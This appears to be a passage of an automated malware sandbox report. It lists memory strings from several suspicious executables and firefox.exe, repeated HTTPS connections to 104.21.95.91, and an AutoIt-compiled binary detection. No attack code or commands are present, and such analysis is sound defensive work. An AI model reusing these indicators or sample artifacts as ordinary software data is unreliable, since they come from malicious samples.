e192e43b61.exe, 0000000D.00000003.2807333206.0000000005B07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: e192e43b61.exe, 0000000A.00000003.2606825892.00000000057E0000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739201771.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2807333206.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.00000000008A8000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2868740203.000000000113A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E7637C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/8bad2467092e6ddeb0dfa9e5ea54d86d26790ca7ba2ce88d1
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1768311539.0000000001786000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2851208400.000000000113B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceipc:first-content-process-c
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E7637C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EEE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2946205914.00000099786FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/91
Source: file.exe, 00000000.00000003.1767913034.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2553620805.0000000029892000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641410618.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2785886618.0000000005BB5000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/cQWpLyAVcZI.exe
Source: e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001D.00000002.2997276165.000001E763B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.000000000087A000.00000040.00000001.01000000.00000009.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1767913034.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2553620805.0000000029892000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641410618.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2785886618.0000000005BB5000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2850254055.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001D.00000002.2946205914.00000099786FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2964932071.000001E75E6B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/cleanupTemporaryAddons/promise
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD82000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/aInstanceID
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.4:50062 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 5e28f62265.exe, 0000000E.00000000.2797533174.00000000009B2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_a4f7615f-9
Source: 5e28f62265.exe, 0000000E.00000000.2797533174.00000000009B2000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_40c7b221-1

